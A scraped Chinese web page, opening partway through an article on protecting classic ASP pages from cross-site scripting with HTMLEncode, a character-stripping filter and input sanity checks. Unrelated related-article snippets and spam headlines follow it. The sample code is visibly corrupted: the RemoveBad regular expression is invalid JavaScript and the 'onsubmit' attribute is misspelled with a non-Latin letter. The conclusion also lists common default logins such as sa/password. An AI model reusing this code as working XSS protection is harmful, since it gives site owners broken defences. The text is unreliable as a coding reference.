在执行页中我们加入:
strUserName =server.HTMLEncode(Request.QueryString("userName"))
和
strUserName =server.HTMLEncode(Request.Form("userName"))
微软推荐对所有动态页面的输入和输出都应进行编码。甚至在对数据库数据的存入和取出也应如此。这样你就能在很大程度上
避免跨站script的攻击。
要做到这些还要在Page1.asp中加入:
<%@ Language=VBScript %>
<% If Request.Cookies("userName") <> "" Then
'redirect if detect the cookie
Dim strRedirectUrl
strRedirectUrl = "page2.asp?userName="
strRedirectUrl = strRedirectUrl & _
server.URLEncode(Request.Cookies("userName"))
Response.Redirect(strRedirectUrl)
Else %>
<HTML>
<HEAD>
<META http-equiv="Content-Type"content="text/html; charset=ISO-8859-1">
<TITLE>MyNiceSite.com Home Page</TITLE>
</HEAD>
<SCRIPT LANGUAGE="javascript">
<!--
function checkForm() {
document.forms[0].userName.value =
RemoveBad(document.forms[0].userName.value);
return true;
}
//******************************************************
//Programmer: NOT ORIGINAL CODE - COMES FROM MICROSOFT
//Code Source: Microsoft Knowledge Base Article Q25z985
//Description: Removes bad characters.
//******************************************************
function RemoveBad(strTemp) {
strTemp =strTemp.replace(//<//>//"//'//%//;//(//)//&//+//-/g, "");
return strTemp;
}
//-->
</SCRIPT>
<BODY>
<BR>
<H2>MyNiceSite.com</H2>
<BR>
<FORM method="post"action="page2.asp" οnsubmit="return checkForm();">
Enter your MyNiceSite.com username:
<INPUT type="text"name="userName" width="10" maxwidth="10">
<INPUT type="submit"name="submit" value="submit">
</FORM>
</BODY>
</HTML>
<% end if %>
Page2.asp中加如:
<%@ Language=VBScript %>
<% Dim strUserName
If Request.QueryString("userName")<>"" Then
strUserName =server.HTMLEncode(Request.QueryString("userName"))
Else
Response.Cookies("userName") =Request.Form("userName")
strUserName = server.HTMLEncode(Request.Form("userName"))
End If %>
<HTML>
<HEAD>
<META http-equiv="Content-Type" content="text/html;charset=ISO-8859-1">
</HEAD>
<BODY>
<H3 align="center">Hello: <%= strUserName %></H3>
</BODY>
</HTML>
现在由于这种攻击遭到有效的防制。那于那些恶意的标签和Script被编码,他们就被以文字的形式显现了出来,如下图:
我们也可增加一个IIS组件用于过滤所有从动态输入中的特殊字符。对于那些已经做好的网站,采用这种办法来防止跨站
script的攻击来得非常容易。我们的这个控件能拦截来自ASP页面的REQUEST目标,可对表格,cookie,请求字串和程序的内容进行
检测:
我们也可以通过编写log文件的方法把统计数据加入这个组件中。每当一个客户输入一个非法字符时,这个组件会记下它的IP
地址和时间。详情请见Doug Dean的<<Roll your Own IIS Application on ASPToday>>一文。
我们只需采取一些简单的步聚就能有效地阻止跨站script的攻击。除了以上所说的三种方法外,微软和CERT还强烈推荐使用一
种他们称之为“sanity check”的方法。例如,假设有个输入窗口只允许输入数字,我们就给它做个限定,只允许0-9数字的输
入。微软和CERT所采用的这种对输入的字符进行限定的办法要比单独的采用过滤特殊字符要好得多。采用了这些措施后你就能让那
些参观你网站的客户在访问你网站时受到保护。
二、免受黑客攻击我们浏览器方法:
当你在网上漫游的时侯,怎样来避免受到攻击呢?微软和CERT建议不要在网上胡碰乱撞。针对这种情况,PC杂志一个栏目的名
叫John Dvorack作者作了一个饶有兴趣的回答。他认为这是微软公司一起有预谋的行为:就是用来恐吓网上冲浪的人到那些安全的
站点去浏览,如美国在线和MSN.com网站。
在我们所举的例子中,即使你不在网上胡乱游荡,也不能避免在网上遭到黑客的袭击。具有讽刺意义的是,大多数的危险都来
自于我们最信任的网站。如果要让网站一定不出问题,你只好不下载任何动态内容或者任何cookie。预知详情请参阅浏览器的相关
资料。
微软也警告你们应把浏览器的Active Script设置成严格限制的状态并把Email也设成严格限制的接收模式。在点击邮件中的
链接时,一定要小心。如需进一步了解情况请参阅一本名叫<<Microsoft's Knowledge Base Article Q253117>>的书。为了以
防万一,你最好是多一点上网经验,并且时刻要小心谨慎。
结论
如果你是以前的UNIX程序开发人员,你也许不会知道跨站script意谓着什么。你知道许多站点的管理人员登录的用户名和密码
分别为root,root.同样许多数据库管理员的名称和密码分别为sa,password。你也知道Webzine(如Phrack 和 Alt2600),依据他
们所提供的方法能让你一步步地知道某台服务器的弱点。在这种硬件上,你也知道许多网站的数据库服务器和web服务器都没有进行
自我保护。一但遭遇黑客,机器就得瘫痪。
尽管我们很容易采取防止系统受到黑客的攻击的措施,但我们的系统是一直暴露在黑客面前的。我们完全有理由相信下一年还
会出现一些新的安全漏洞。在CERT公司John Howard先生指导下完成的一篇论文中曾提到:“跟据目前的研究显示,每个在英特网
上具有域名的网站平均一年被黑客至少攻击一次。”
对服务器来说那怕只是一次这种攻击也是不能承受的。跨站Script攻击是黑客可采用的另一种方法。但我们只要进行以上所说
的一些简单的处理就能防止这种形式攻击的发生
如若内容造成侵权/违法违规/事实不符,请联系编程学习网邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
相关文章
- DEVc++4.9.9.2避免 C/C++ 程序一闪而过的方法
DEVc++4.9.9.2避免 C/C++ 程序一闪而过的方法 2007年08月16日 星期四 23:39Windows 环境下,直接双击(如果您设置了单击打开,那就是单击)C 或 C++(简称 C/C++)程序,或者直接在某些集成开发环境中(如 Dev-C++)编译运行 C/C++ 程序,会出现程序一闪而过或者程序接收了输入…...
2024/4/30 16:37:11 - 指向函数的指针(一)
之所以想写一篇函数指针的文章,源于函数指针在C/C++编程中使用的广泛性,而对于一些初级编程者来说对函数指针的使用或许有些迷惑,而一旦在适当的时候使用了函数指针,会使代码简洁有力。本篇介绍的是函数指针的基础部分,函数指针复杂的应用将在下一篇介绍。 一 指向普通函…...
2024/4/30 19:50:52 - iOS UIActionSheet的基本使用
NS_CLASS_DEPRECATED_IOS(2_0, 8_3, "UIActionSheet is deprecated. Use UIAlertController with a preferredStyle of UIAlertControllerStyleActionSheet instead") __TVOS_PROHIBITED在iOS8之后UIActionSheet (以及它们各自的 delegate protocols)已经被弃用,用U…...
2024/4/14 16:29:33 - Android Studio 第六十四期 - Android业务组件化之URL Scheme使用
什么是 URL Scheme? android中的scheme是一种页面内跳转协议,是一种非常好的实现机制,通过定义自己的scheme协议,可以非常方便跳转app中的各个页面;通过scheme协议,服务器可以定制化告诉App跳转那个页面,可以通过通知栏消息定制化跳转页面,可以通过H5页面跳转页面等…...
2024/4/12 21:56:34 - DevC++的乱码问题
将DevC++中的程序转到别的软件上面是,可能会出现乱码问题。 做法:在DevC++中写好可运行的完整程序,将后缀化名改为 .txt(要打开一下)。然后在改回来。问题就解决了.注—我用的是Notepa++记事本...
2024/4/25 5:29:21 - Javascript正则表达式教程
1.什么是正则表达式 简单的说,正则表达式是一种可以用于文字模式匹配和替换的强有力的工具。是由一系列普通字符和特殊字符组成的能明确描述文本字符串的文字匹配模式。 正 则表达式并非一门专用语言,但也可以看作是一种语言,它可以让用户通过使用一系列普通字符和特殊字符…...
2024/4/30 20:15:25 - 数据库设计开发规范-阿里.pdf
数据库设计开发规范-阿里.pdf链接:https://pan.baidu.com/s/1PHhQV-eSg8q5dS3oqWBvbw 提取码:kthu...
2024/4/30 21:07:46 - C++ 模板类使用函数指针
前几天重看了C++ primer的第16章,正好同时也复习了树的操作,于是写了个二分查找树的模板类。一开始挺顺利,后来想尝试一下使用函数指针来传递遍历树的函数,因此有了下面的问题,也从解决方法中学到了很多。我想要的实现是这样的:有一个TravelRecursive函数,专门负责用递归…...
2024/4/30 18:41:06 - DEVC++生成DLL的方法
通过网上一个MD5加密算法源码生成DLL 一、建立DLL项目并编译 DEVC++创建C项目,选择DLL, 一共4个文件及源码如下: dll.h dllmain.c md5.c md5.h 函数参数: char * getMD5 (unsigned char *s);dll.h:#ifndef _DLL_H_ #define _DLL_H_#if BUILDING_DLL # define DLLIMPORT __de…...
2024/4/19 21:08:47 - Android Studio 第六十五期 - Android业务组件库
目前市面上常用的效果集合,持续更新: 地址:https://github.com/geeklx/APPkuangjia/tree/master/baselibrary/src/main/java/com/haier/cellarette/baselibrary 附文档: 此类放置自定义View和第三方控件集合:(按顺序)anroomcrash:验证APP崩溃和内存溢出的方法…...
2024/4/9 7:42:55 - cordova插件:inappbrowser
原文网址:http://www.ncloud.hk/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/cordova-plugin-inappbrowser/要想App里边的链接在指定的内部浏览器或者系统浏览器打开,需要使用cordova-plugin-inappbrowser插件;当我们在APP中需要跳转到一个特定的浏览器网页时,用这个插件会很方便…...
2024/4/30 22:14:45 - 高性能可扩展mysql(电商数据库设计构思)
数据库设计规范(统一)数据库命名规范 数据库基本设计规范(存储引擎的选择,字符类型的选择) 数据库索引设计规范(索引列的选择,索引的优化技巧) 数据库字段设计规范(列的字段类型) SQL开发规范(开发人员使用,指导编写优质sql) 数据库操作行为规范(运维人员使用,减…...
2024/4/12 21:57:50 - JavaScript中正则表达式介绍
1.什么是正则表达式简单的说,正则表达式是一种可以用于文字模式匹配和替换的强有力的工具。是由一系列普通字符和特殊字符组成的能明确描述文本字符串的文字匹配模式。正则表达式并非一门专用语言,但也可以看作是一种语言,它可以让用户通过使用一系列普通字符和特殊字符构建…...
2024/4/19 4:07:20 - 非常对象访问常成员函数,导致内部this指针无法访问非常成员函数
非常对象访问常成员函数,导致内部this指针无法访问非常成员函数,引发如下异常: rror C2662: “LinkedList::showElement”: 不能将“this”指针从“const LinkedList”转换为“LinkedList &” 实例如下:class LinkedList { private:public:void showElement()const;bool…...
2024/4/13 22:35:12 - iOS UIAlertView的基本使用
NS_CLASS_DEPRECATED_IOS(2_0, 9_0, "UIAlertView is deprecated. Use UIAlertController with a preferredStyle of UIAlertControllerStyleAlert instead") __TVOS_PROHIBITED大概意思是说9以后用UIAlertController代替UIAlertView,9以前还是UIAlertViewdouble ve…...
2024/4/19 5:27:11 - 数据库设计 - 数据库和信息系统
(1)数据库是信息系统的核心和基础,把信息系统中大量的数据按一定的模型组织起来,提供存储、维护、检索数据的功能,使信息系统可以方便、及时、准确地从数据库中获得所需的信息。 (2)数据库是信息系统的各个部分能否紧密地结合在一起以及如何结合的关键所在。 (3)数据库设计是…...
2024/4/19 17:35:25 - 基于JavaReport的Web报表开发【1】
JavaReport可从网上免费下载得到,网址如下:http://www.javareport.com.cn/download.htm一、 JavaReport介绍JavaReport主要有如下优点。(1)支持实时的、动态的Web统计报表JavaReport所展示的报表是动态的报表。所有的数据都是实时的数据;所有的统计图也是动态生成的。报表…...
2024/4/13 7:59:19 - 有关上海天象网络技术有限公司要闻----必读
UI设计10大原则------上海天象网络科技有限公司设计不是简单的排列组合与简单地再编辑,它应当充满着价值和意义,去说明道理,去删繁就简,去阐明演绎,去修饰美化,去赞美褒扬,使其有戏剧意味,让人们信服你所言……”,今日上海天象科技为大家提供一篇关于ui设计原则的文章…...
2024/4/12 21:57:30 - 直接调用类成员函数地址(转载自http://blog.csdn.net/shamozhihuzhubohu/archive/2010/07/30/5776979.aspx)
一、成员函数指针的用法在C++中,成员函数的指针是个比较特殊的东西。对普通的函数指针来说,可以视为一个地址,在需要的时候可以任意转换并直接调用。但对成员函数来说,常规类型转换是通不过编译的,调用的时候也必须采用特殊的语法。C++专门为成员指针准备了三个运算符: &qu…...
2024/4/27 8:33:21 - Ue + Devc++ 打造简单C/C++ 编译器
大家一般都将Ultraedit作为编辑器使用,其实将ultraedit和gcc结合起来可以构造一个简易的IDE,在很多时候也是很方便的,我这儿用的是Ultraedit+Dev c++,假设Dev C++已经安装成功,因为它包括gcc,我们实际用的是gcc。首先安装Devc++,完成后,首先进行一下环境变量的设置。配…...
2024/4/15 9:55:39
最新文章
- 如何用揿针治疗慢性咽炎?
点击文末领取揿针的视频教程跟直播讲解 在日常生活中,慢性咽炎极为常见,不致命却很恼人。一旦发作,你的喉咙每天都会不舒服,总感觉有东西堵着,但是呢,咳又咳不出来,咽也咽不下去,你…...
2024/4/30 23:13:21 - 梯度消失和梯度爆炸的一些处理方法
在这里是记录一下梯度消失或梯度爆炸的一些处理技巧。全当学习总结了如有错误还请留言,在此感激不尽。 权重和梯度的更新公式如下: w w − η ⋅ ∇ w w w - \eta \cdot \nabla w ww−η⋅∇w 个人通俗的理解梯度消失就是网络模型在反向求导的时候出…...
2024/3/20 10:50:27 - Stable Diffusion 本地部署教程
Stable Diffusion 是一个开源的本地部署的软件,用于在本地网络中进行消息传递和同步。下面是 Stable Diffusion 的本地部署教程: 安装稳定扩散软件:首先,您需要从 Stable Diffusion 的官方网站或 GitHub 页面上下载并安装 Stable …...
2024/4/30 6:51:04 - Could not initialize class java.awt.Font
项目场景: 项目场景:java项目在web端导出Excel、Word、PDF等文档 问题描述 在Windows系统中开发以及运行文件导出正常,单机部署到Linux中或者使用docker部署后,导出报错。 异常: eleasing transactional SqlSession…...
2024/4/27 7:14:14 - 【外汇早评】美通胀数据走低,美元调整
原标题:【外汇早评】美通胀数据走低,美元调整昨日美国方面公布了新一期的核心PCE物价指数数据,同比增长1.6%,低于前值和预期值的1.7%,距离美联储的通胀目标2%继续走低,通胀压力较低,且此前美国一季度GDP初值中的消费部分下滑明显,因此市场对美联储后续更可能降息的政策…...
2024/4/29 23:16:47 - 【原油贵金属周评】原油多头拥挤,价格调整
原标题:【原油贵金属周评】原油多头拥挤,价格调整本周国际劳动节,我们喜迎四天假期,但是整个金融市场确实流动性充沛,大事频发,各个商品波动剧烈。美国方面,在本周四凌晨公布5月份的利率决议和新闻发布会,维持联邦基金利率在2.25%-2.50%不变,符合市场预期。同时美联储…...
2024/4/30 18:14:14 - 【外汇周评】靓丽非农不及疲软通胀影响
原标题:【外汇周评】靓丽非农不及疲软通胀影响在刚结束的周五,美国方面公布了新一期的非农就业数据,大幅好于前值和预期,新增就业重新回到20万以上。具体数据: 美国4月非农就业人口变动 26.3万人,预期 19万人,前值 19.6万人。 美国4月失业率 3.6%,预期 3.8%,前值 3…...
2024/4/29 2:29:43 - 【原油贵金属早评】库存继续增加,油价收跌
原标题:【原油贵金属早评】库存继续增加,油价收跌周三清晨公布美国当周API原油库存数据,上周原油库存增加281万桶至4.692亿桶,增幅超过预期的74.4万桶。且有消息人士称,沙特阿美据悉将于6月向亚洲炼油厂额外出售更多原油,印度炼油商预计将每日获得至多20万桶的额外原油供…...
2024/4/30 18:21:48 - 【外汇早评】日本央行会议纪要不改日元强势
原标题:【外汇早评】日本央行会议纪要不改日元强势近两日日元大幅走强与近期市场风险情绪上升,避险资金回流日元有关,也与前一段时间的美日贸易谈判给日本缓冲期,日本方面对汇率问题也避免继续贬值有关。虽然今日早间日本央行公布的利率会议纪要仍然是支持宽松政策,但这符…...
2024/4/27 17:58:04 - 【原油贵金属早评】欧佩克稳定市场,填补伊朗问题的影响
原标题:【原油贵金属早评】欧佩克稳定市场,填补伊朗问题的影响近日伊朗局势升温,导致市场担忧影响原油供给,油价试图反弹。此时OPEC表态稳定市场。据消息人士透露,沙特6月石油出口料将低于700万桶/日,沙特已经收到石油消费国提出的6月份扩大出口的“适度要求”,沙特将满…...
2024/4/27 14:22:49 - 【外汇早评】美欲与伊朗重谈协议
原标题:【外汇早评】美欲与伊朗重谈协议美国对伊朗的制裁遭到伊朗的抗议,昨日伊朗方面提出将部分退出伊核协议。而此行为又遭到欧洲方面对伊朗的谴责和警告,伊朗外长昨日回应称,欧洲国家履行它们的义务,伊核协议就能保证存续。据传闻伊朗的导弹已经对准了以色列和美国的航…...
2024/4/28 1:28:33 - 【原油贵金属早评】波动率飙升,市场情绪动荡
原标题:【原油贵金属早评】波动率飙升,市场情绪动荡因中美贸易谈判不安情绪影响,金融市场各资产品种出现明显的波动。随着美国与中方开启第十一轮谈判之际,美国按照既定计划向中国2000亿商品征收25%的关税,市场情绪有所平复,已经开始接受这一事实。虽然波动率-恐慌指数VI…...
2024/4/30 9:43:09 - 【原油贵金属周评】伊朗局势升温,黄金多头跃跃欲试
原标题:【原油贵金属周评】伊朗局势升温,黄金多头跃跃欲试美国和伊朗的局势继续升温,市场风险情绪上升,避险黄金有向上突破阻力的迹象。原油方面稍显平稳,近期美国和OPEC加大供给及市场需求回落的影响,伊朗局势并未推升油价走强。近期中美贸易谈判摩擦再度升级,美国对中…...
2024/4/27 17:59:30 - 【原油贵金属早评】市场情绪继续恶化,黄金上破
原标题:【原油贵金属早评】市场情绪继续恶化,黄金上破周初中国针对于美国加征关税的进行的反制措施引发市场情绪的大幅波动,人民币汇率出现大幅的贬值动能,金融市场受到非常明显的冲击。尤其是波动率起来之后,对于股市的表现尤其不安。隔夜美国股市出现明显的下行走势,这…...
2024/4/25 18:39:16 - 【外汇早评】美伊僵持,风险情绪继续升温
原标题:【外汇早评】美伊僵持,风险情绪继续升温昨日沙特两艘油轮再次发生爆炸事件,导致波斯湾局势进一步恶化,市场担忧美伊可能会出现摩擦生火,避险品种获得支撑,黄金和日元大幅走强。美指受中美贸易问题影响而在低位震荡。继5月12日,四艘商船在阿联酋领海附近的阿曼湾、…...
2024/4/28 1:34:08 - 【原油贵金属早评】贸易冲突导致需求低迷,油价弱势
原标题:【原油贵金属早评】贸易冲突导致需求低迷,油价弱势近日虽然伊朗局势升温,中东地区几起油船被袭击事件影响,但油价并未走高,而是出于调整结构中。由于市场预期局势失控的可能性较低,而中美贸易问题导致的全球经济衰退风险更大,需求会持续低迷,因此油价调整压力较…...
2024/4/26 19:03:37 - 氧生福地 玩美北湖(上)——为时光守候两千年
原标题:氧生福地 玩美北湖(上)——为时光守候两千年一次说走就走的旅行,只有一张高铁票的距离~ 所以,湖南郴州,我来了~ 从广州南站出发,一个半小时就到达郴州西站了。在动车上,同时改票的南风兄和我居然被分到了一个车厢,所以一路非常愉快地聊了过来。 挺好,最起…...
2024/4/29 20:46:55 - 氧生福地 玩美北湖(中)——永春梯田里的美与鲜
原标题:氧生福地 玩美北湖(中)——永春梯田里的美与鲜一觉醒来,因为大家太爱“美”照,在柳毅山庄去寻找龙女而错过了早餐时间。近十点,向导坏坏还是带着饥肠辘辘的我们去吃郴州最富有盛名的“鱼头粉”。说这是“十二分推荐”,到郴州必吃的美食之一。 哇塞!那个味美香甜…...
2024/4/30 22:21:04 - 氧生福地 玩美北湖(下)——奔跑吧骚年!
原标题:氧生福地 玩美北湖(下)——奔跑吧骚年!让我们红尘做伴 活得潇潇洒洒 策马奔腾共享人世繁华 对酒当歌唱出心中喜悦 轰轰烈烈把握青春年华 让我们红尘做伴 活得潇潇洒洒 策马奔腾共享人世繁华 对酒当歌唱出心中喜悦 轰轰烈烈把握青春年华 啊……啊……啊 两…...
2024/4/26 23:04:58 - 扒开伪装医用面膜,翻六倍价格宰客,小姐姐注意了!
原标题:扒开伪装医用面膜,翻六倍价格宰客,小姐姐注意了!扒开伪装医用面膜,翻六倍价格宰客!当行业里的某一品项火爆了,就会有很多商家蹭热度,装逼忽悠,最近火爆朋友圈的医用面膜,被沾上了污点,到底怎么回事呢? “比普通面膜安全、效果好!痘痘、痘印、敏感肌都能用…...
2024/4/27 23:24:42 - 「发现」铁皮石斛仙草之神奇功效用于医用面膜
原标题:「发现」铁皮石斛仙草之神奇功效用于医用面膜丽彦妆铁皮石斛医用面膜|石斛多糖无菌修护补水贴19大优势: 1、铁皮石斛:自唐宋以来,一直被列为皇室贡品,铁皮石斛生于海拔1600米的悬崖峭壁之上,繁殖力差,产量极低,所以古代仅供皇室、贵族享用 2、铁皮石斛自古民间…...
2024/4/28 5:48:52 - 丽彦妆\医用面膜\冷敷贴轻奢医学护肤引导者
原标题:丽彦妆\医用面膜\冷敷贴轻奢医学护肤引导者【公司简介】 广州华彬企业隶属香港华彬集团有限公司,专注美业21年,其旗下品牌: 「圣茵美」私密荷尔蒙抗衰,产后修复 「圣仪轩」私密荷尔蒙抗衰,产后修复 「花茵莳」私密荷尔蒙抗衰,产后修复 「丽彦妆」专注医学护…...
2024/4/30 9:42:22 - 广州械字号面膜生产厂家OEM/ODM4项须知!
原标题:广州械字号面膜生产厂家OEM/ODM4项须知!广州械字号面膜生产厂家OEM/ODM流程及注意事项解读: 械字号医用面膜,其实在我国并没有严格的定义,通常我们说的医美面膜指的应该是一种「医用敷料」,也就是说,医用面膜其实算作「医疗器械」的一种,又称「医用冷敷贴」。 …...
2024/4/30 9:43:22 - 械字号医用眼膜缓解用眼过度到底有无作用?
原标题:械字号医用眼膜缓解用眼过度到底有无作用?医用眼膜/械字号眼膜/医用冷敷眼贴 凝胶层为亲水高分子材料,含70%以上的水分。体表皮肤温度传导到本产品的凝胶层,热量被凝胶内水分子吸收,通过水分的蒸发带走大量的热量,可迅速地降低体表皮肤局部温度,减轻局部皮肤的灼…...
2024/4/30 9:42:49 - 配置失败还原请勿关闭计算机,电脑开机屏幕上面显示,配置失败还原更改 请勿关闭计算机 开不了机 这个问题怎么办...
解析如下:1、长按电脑电源键直至关机,然后再按一次电源健重启电脑,按F8健进入安全模式2、安全模式下进入Windows系统桌面后,按住“winR”打开运行窗口,输入“services.msc”打开服务设置3、在服务界面,选中…...
2022/11/19 21:17:18 - 错误使用 reshape要执行 RESHAPE,请勿更改元素数目。
%读入6幅图像(每一幅图像的大小是564*564) f1 imread(WashingtonDC_Band1_564.tif); subplot(3,2,1),imshow(f1); f2 imread(WashingtonDC_Band2_564.tif); subplot(3,2,2),imshow(f2); f3 imread(WashingtonDC_Band3_564.tif); subplot(3,2,3),imsho…...
2022/11/19 21:17:16 - 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机...
win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”问题的解决方法在win7系统关机时如果有升级系统的或者其他需要会直接进入一个 等待界面,在等待界面中我们需要等待操作结束才能关机,虽然这比较麻烦,但是对系统进行配置和升级…...
2022/11/19 21:17:15 - 台式电脑显示配置100%请勿关闭计算机,“准备配置windows 请勿关闭计算机”的解决方法...
有不少用户在重装Win7系统或更新系统后会遇到“准备配置windows,请勿关闭计算机”的提示,要过很久才能进入系统,有的用户甚至几个小时也无法进入,下面就教大家这个问题的解决方法。第一种方法:我们首先在左下角的“开始…...
2022/11/19 21:17:14 - win7 正在配置 请勿关闭计算机,怎么办Win7开机显示正在配置Windows Update请勿关机...
置信有很多用户都跟小编一样遇到过这样的问题,电脑时发现开机屏幕显现“正在配置Windows Update,请勿关机”(如下图所示),而且还需求等大约5分钟才干进入系统。这是怎样回事呢?一切都是正常操作的,为什么开时机呈现“正…...
2022/11/19 21:17:13 - 准备配置windows 请勿关闭计算机 蓝屏,Win7开机总是出现提示“配置Windows请勿关机”...
Win7系统开机启动时总是出现“配置Windows请勿关机”的提示,没过几秒后电脑自动重启,每次开机都这样无法进入系统,此时碰到这种现象的用户就可以使用以下5种方法解决问题。方法一:开机按下F8,在出现的Windows高级启动选…...
2022/11/19 21:17:12 - 准备windows请勿关闭计算机要多久,windows10系统提示正在准备windows请勿关闭计算机怎么办...
有不少windows10系统用户反映说碰到这样一个情况,就是电脑提示正在准备windows请勿关闭计算机,碰到这样的问题该怎么解决呢,现在小编就给大家分享一下windows10系统提示正在准备windows请勿关闭计算机的具体第一种方法:1、2、依次…...
2022/11/19 21:17:11 - 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”的解决方法...
今天和大家分享一下win7系统重装了Win7旗舰版系统后,每次关机的时候桌面上都会显示一个“配置Windows Update的界面,提示请勿关闭计算机”,每次停留好几分钟才能正常关机,导致什么情况引起的呢?出现配置Windows Update…...
2022/11/19 21:17:10 - 电脑桌面一直是清理请关闭计算机,windows7一直卡在清理 请勿关闭计算机-win7清理请勿关机,win7配置更新35%不动...
只能是等着,别无他法。说是卡着如果你看硬盘灯应该在读写。如果从 Win 10 无法正常回滚,只能是考虑备份数据后重装系统了。解决来方案一:管理员运行cmd:net stop WuAuServcd %windir%ren SoftwareDistribution SDoldnet start WuA…...
2022/11/19 21:17:09 - 计算机配置更新不起,电脑提示“配置Windows Update请勿关闭计算机”怎么办?
原标题:电脑提示“配置Windows Update请勿关闭计算机”怎么办?win7系统中在开机与关闭的时候总是显示“配置windows update请勿关闭计算机”相信有不少朋友都曾遇到过一次两次还能忍但经常遇到就叫人感到心烦了遇到这种问题怎么办呢?一般的方…...
2022/11/19 21:17:08 - 计算机正在配置无法关机,关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机...
关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!关机提示 windows7 正在配…...
2022/11/19 21:17:05 - 钉钉提示请勿通过开发者调试模式_钉钉请勿通过开发者调试模式是真的吗好不好用...
钉钉请勿通过开发者调试模式是真的吗好不好用 更新时间:2020-04-20 22:24:19 浏览次数:729次 区域: 南阳 > 卧龙 列举网提醒您:为保障您的权益,请不要提前支付任何费用! 虚拟位置外设器!!轨迹模拟&虚拟位置外设神器 专业用于:钉钉,外勤365,红圈通,企业微信和…...
2022/11/19 21:17:05 - 配置失败还原请勿关闭计算机怎么办,win7系统出现“配置windows update失败 还原更改 请勿关闭计算机”,长时间没反应,无法进入系统的解决方案...
前几天班里有位学生电脑(windows 7系统)出问题了,具体表现是开机时一直停留在“配置windows update失败 还原更改 请勿关闭计算机”这个界面,长时间没反应,无法进入系统。这个问题原来帮其他同学也解决过,网上搜了不少资料&#x…...
2022/11/19 21:17:04 - 一个电脑无法关闭计算机你应该怎么办,电脑显示“清理请勿关闭计算机”怎么办?...
本文为你提供了3个有效解决电脑显示“清理请勿关闭计算机”问题的方法,并在最后教给你1种保护系统安全的好方法,一起来看看!电脑出现“清理请勿关闭计算机”在Windows 7(SP1)和Windows Server 2008 R2 SP1中,添加了1个新功能在“磁…...
2022/11/19 21:17:03 - 请勿关闭计算机还原更改要多久,电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机怎么办...
许多用户在长期不使用电脑的时候,开启电脑发现电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机。。.这要怎么办呢?下面小编就带着大家一起看看吧!如果能够正常进入系统,建议您暂时移…...
2022/11/19 21:17:02 - 还原更改请勿关闭计算机 要多久,配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以...
配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!配置windows update失败 还原更改 请勿关闭计算机&#x…...
2022/11/19 21:17:01 - 电脑配置中请勿关闭计算机怎么办,准备配置windows请勿关闭计算机一直显示怎么办【图解】...
不知道大家有没有遇到过这样的一个问题,就是我们的win7系统在关机的时候,总是喜欢显示“准备配置windows,请勿关机”这样的一个页面,没有什么大碍,但是如果一直等着的话就要两个小时甚至更久都关不了机,非常…...
2022/11/19 21:17:00 - 正在准备配置请勿关闭计算机,正在准备配置windows请勿关闭计算机时间长了解决教程...
当电脑出现正在准备配置windows请勿关闭计算机时,一般是您正对windows进行升级,但是这个要是长时间没有反应,我们不能再傻等下去了。可能是电脑出了别的问题了,来看看教程的说法。正在准备配置windows请勿关闭计算机时间长了方法一…...
2022/11/19 21:16:59 - 配置失败还原请勿关闭计算机,配置Windows Update失败,还原更改请勿关闭计算机...
我们使用电脑的过程中有时会遇到这种情况,当我们打开电脑之后,发现一直停留在一个界面:“配置Windows Update失败,还原更改请勿关闭计算机”,等了许久还是无法进入系统。如果我们遇到此类问题应该如何解决呢࿰…...
2022/11/19 21:16:58 - 如何在iPhone上关闭“请勿打扰”
Apple’s “Do Not Disturb While Driving” is a potentially lifesaving iPhone feature, but it doesn’t always turn on automatically at the appropriate time. For example, you might be a passenger in a moving car, but your iPhone may think you’re the one dri…...
2022/11/19 21:16:57